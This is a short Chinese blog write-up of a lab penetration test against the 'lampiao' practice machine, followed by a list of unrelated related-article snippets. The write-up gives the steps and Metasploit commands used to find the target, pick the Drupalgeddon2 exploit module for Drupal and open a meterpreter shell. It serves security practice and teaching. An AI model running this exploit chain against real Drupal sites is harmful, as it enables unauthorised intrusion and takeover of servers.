黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134
python tools.py ip -i 192.168.12.0 -h 254 -l 1
二、扫描其他端口。
1898
三、查看网站漏洞情况，典型的漏洞特征
Ac扫描漏洞情况，利用典型的漏洞。
四、开始getshell
1、启动MSF
msf6 > search SA-CORE-2018-002 #查询漏洞特征模块
可以看到，有可以利用的漏洞模块。直接开搞
2、使用对应的漏洞模块
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
3、查看并调整参数。调整参数
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
五、拿下！
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
meterpreter > shellls
查看系统版本。
为所欲为~~~
相关文章：
黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134 python tools.py ip -i 192.168.12.0 -h 254 -l 1 二、扫描其他端口。 1898 三、查看网站漏洞情况，典型的漏洞特征 Ac扫描漏洞情况，利用典型的漏洞。 四、开始getshell 1、启动M…...
笔记：VLAN及交换机处理详细教程（Tagged, UnTagged and Native VLANS Tutorial）
一、内容来源 本文是对下面这篇文章的总结，写的很全、很细致、干货满满，强力推荐： 《Tagged, UnTagged and Native VLANS Tutorial – A Quick Guide about What they Are?》 二、为什么引入VLAN？ 早期设备间通过集线器&#x…...
在字节跳动，造赛博古籍
“你在字节跳动哪个业务？”“古籍数字化。把《论语》《左传》《道德经》这些古籍变成电子版，让大家都能免费看。”没错，除了你熟悉的那些 App，字节跳动还在做一些小众而特别的事情，古籍数字化就是其中之一。在字节跳动…...
Android 12.0设置默认Launcher安装一款Launcher默认Launcher无效的解决方案
1.概述 在12.0的系统rom定制化过程中，在系统中当有多个Launcher的时候，这时候会要求设置默认Launcher,但是在最近的产品开发过程中，发现在设置完默认Launcher以后，在安装个Launcher的时候，会让原来设置的默认Launcher变为空了，就是在系统Settings中的默认应用中，launche…...
数据结构第16周 ：（ 希尔排序+ 堆排序 + 快速排序 ）
目录希尔排序堆排序快速排序希尔排序 【问题描述】给出一组数据，请用希尔排序将其按照从小到大的顺序排列好。 【输入形式】原始数据，以0作为输入的结束；第二行是增量的值，都只有3个。 【输出形式】每一趟增量排序后的结果 【…...
【C++】类和对象
1.面向过程和面向对象初步认识 我们知道，C语言是面向过程的，关注的就是问题解决的过程； C是面向过程和面向对象混编，因为C兼容了C语言，而面向对象关注的不再是问题解决的过程； 而是一件事情所关联的不同…...
Java缓存面试题——Redis应用
文章目录1、为什么要使用Redis做缓存？2、为什么Redis单线程模型效率也能那么高？3、Redis6.0为什么要引入多线程呢？4、Redis常见数据结构以及使用场景字符串（String）哈希(Hash)列表（list）集合&am…...
KMP算法详细理解
一、目的1.KMP应用场景：可以解决字符串匹配问题； 在一个串中查找是否出现过另一个串。2.KMP的经典思想就是:当出现字符串不匹配时，可以记录一部分之前已经匹配的文本内容，利用这些信息避免从头再去做匹配。3.KMP算法关键在于&…...
RabbitMQ单节点安装
在学习RabbitMQ之前，必须要把RabbitMQ的环境搭建起来，刚开始学习时，搭建单节点是入门RabbitMQ最方便、最快捷的方式，这篇文章就是介绍如何使用RabbitMQ压缩包的方式搭建一个单节点的RabbitMQ。 在实际项目中，服务器都…...
tomcat 服务的目录结构和tomcat的运行模式
目录 一、tomcat 服务的目录结构解析： 1、tomcat目录结构： bin目录： conf目录： lib目录： logs目录： temp目录： webapps目录： wokr目录： 二、tomcat服务的运行模…...
vector迭代器失效问题
一、迭代器： 迭代器的主要作用就是让算法能够不用关心底层数据结构，其底层实际就是一个指针，或者是对指针进行了封装，比如：vector的迭代器就是原生态指针T* 。因此迭代器失效，实际就是迭代器底层对应指针所…...
2023年排名前茅的十大饭店装修设计！
相信大家都是知道的，饭店装修设计其实是一门很深的学问，只有掌握这门学问才能够打造出来精美的空间，因此饭店装修必须要有专业餐饮设计公司的设计师进行设计。但是在国内饭店装修设计公司那么多，饭店老板要如何选择呢？…...
MFCCA多通道多说话人语音识别模型上线魔搭（ModelScope）
实验室研发的基于多帧跨通道注意力机制（MFCCA）的多说话人语音识别模型近日上线魔搭（ModelScope）社区，该模型在AliMeeting会议数据集上获得当前最优性能。欢迎大家下载。开发者可以基于此模型进一步利用ModelScope的微调…...
刷题记录:牛客NC25078[USACO 2007 Ope S]City Horizon
传送门:牛客 题目描述: Farmer John has taken his cows on a trip to the city! As the sun sets, the cows gaze at the city horizon and observe the beautiful silhouettes formed by the rectangular buildings. The entire horizon is represented by a number line …...
【Java|golang】 1238. 循环码排列---格雷编码
给你两个整数 n 和 start。你的任务是返回任意 (0,1,2,…,2^n-1) 的排列 p，并且满足： p[0] start p[i] 和 p[i1] 的二进制表示形式只有一位不同 p[0] 和 p[2^n -1] 的二进制表示形式也只有一位不同 示例 1： 输入：n 2, start …...
Python自动化测试框架封装和调用
封装与调用函数与参数化前言 面实现了参数的关联，那种只是记流水账的完成功能，不便于维护，也没什么可读性，接下来这篇可以把每一个动作写成一个函数，这样更方便了。参数化的思维只需记住一点：不要写死 登录…...
线程的执行
承接上文CPU原理简介程序的执行是由控制器发信号推动整个程序一步一步向前走，将数据存储在寄存器，从程序计数器中获取指令，比如先把3放到寄存器，再把5放到寄存器，再做一个加法，加法就是一个指令，…...
【视频】海康摄像头、NVR网络协议简介
1、软硬件整体架构 2、涉及的网络协议 3、协议简介 3.1 海康私有协议 设备发现SADP：进行设备的发现、激活、修改网络参数、忘记密码等； SDK：4200、系统平台的接入前端设备，协议不对外开放，但对外提供接口库； ISAPI：Intelligent Security API(智能安全API)，基于HTTP传输…...
【Spring的事务传播行为有哪些呢？Spring事务的隔离级别？讲下嵌套事务？】
如果你想寻求一份与后端相关的开发工作，那么关于Spring事务相关的面试题你就不能说不会并且不能不知道？ 人生如棋，我愿为卒，行动虽慢，可谁曾见我后退一步？ 一.Spring中声明事务的方式 1.1 编程式事务 编程…...
其实一点不难学会这三步一定让你学会制作一个『3D建模』大屏
上次已经教过大家怎样制作一个简单的2D数据可视化大屏~那有一些朋友们就会说那些炫酷的3D可视化大屏是怎样制作的呢？这不就来了，今天就教大家怎样用山海鲸可视化软件制作一个带3D建模的可视化大屏，并且最重要的是无需会特别复杂的3D建模知识。…...
【网络】每天掌握一个Linux命令 - iftop
在Linux系统中，iftop是网络管理的得力助手，能实时监控网络流量、连接情况等，帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...
【人工智能】神经网络的优化器optimizer（二）：Adagrad自适应学习率优化器
一.自适应梯度算法Adagrad概述 Adagrad（Adaptive Gradient Algorithm）是一种自适应学习率的优化算法，由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率，适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...
《Playwright：微软的自动化测试工具详解》
Playwright 简介:声明内容来自网络，将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具，支持 Chrome、Firefox、Safari 等主流浏览器，提供多语言 API（Python、JavaScript、Java、.NET）。它的特点包括&a…...
理解 MCP 工作流：使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP？ 模型控制协议 (MCP) 是一种创新的协议，旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议，它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...
镜像里切换为普通用户
如果你登录远程虚拟机默认就是 root 用户，但你不希望用 root 权限运行 ns-3（这是对的，ns3 工具会拒绝 root），你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案：创建非 roo…...
Neo4j 集群管理：原理、技术与最佳实践深度解析
Neo4j 的集群技术是其企业级高可用性、可扩展性和容错能力的核心。通过深入分析官方文档，本文将系统阐述其集群管理的核心原理、关键技术、实用技巧和行业最佳实践。 Neo4j 的 Causal Clustering 架构提供了一个强大而灵活的基石，用于构建高可用、可扩展且一致的图数据库服务…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测；从基础到高级，涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术，可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势，还能有效评价重大生态工程…...
成都鼎讯硬核科技！雷达目标与干扰模拟器，以卓越性能制胜电磁频谱战
在现代战争中，电磁频谱已成为继陆、海、空、天之后的 “第五维战场”，雷达作为电磁频谱领域的关键装备，其干扰与抗干扰能力的较量，直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器，凭借数字射…...
浅谈不同二分算法的查找情况
二分算法原理比较简单，但是实际的算法模板却有很多，这一切都源于二分查找问题中的复杂情况和二分算法的边界处理，以下是博主对一些二分算法查找的情况分析。 需要说明的是，以下二分算法都是基于有序序列为升序有序的情况…...
均衡后的SNRSINR
本文主要摘自参考文献中的前两篇，相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程，其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt 根发送天线， n r n_r nr 根接收天线的 MIMO 系…...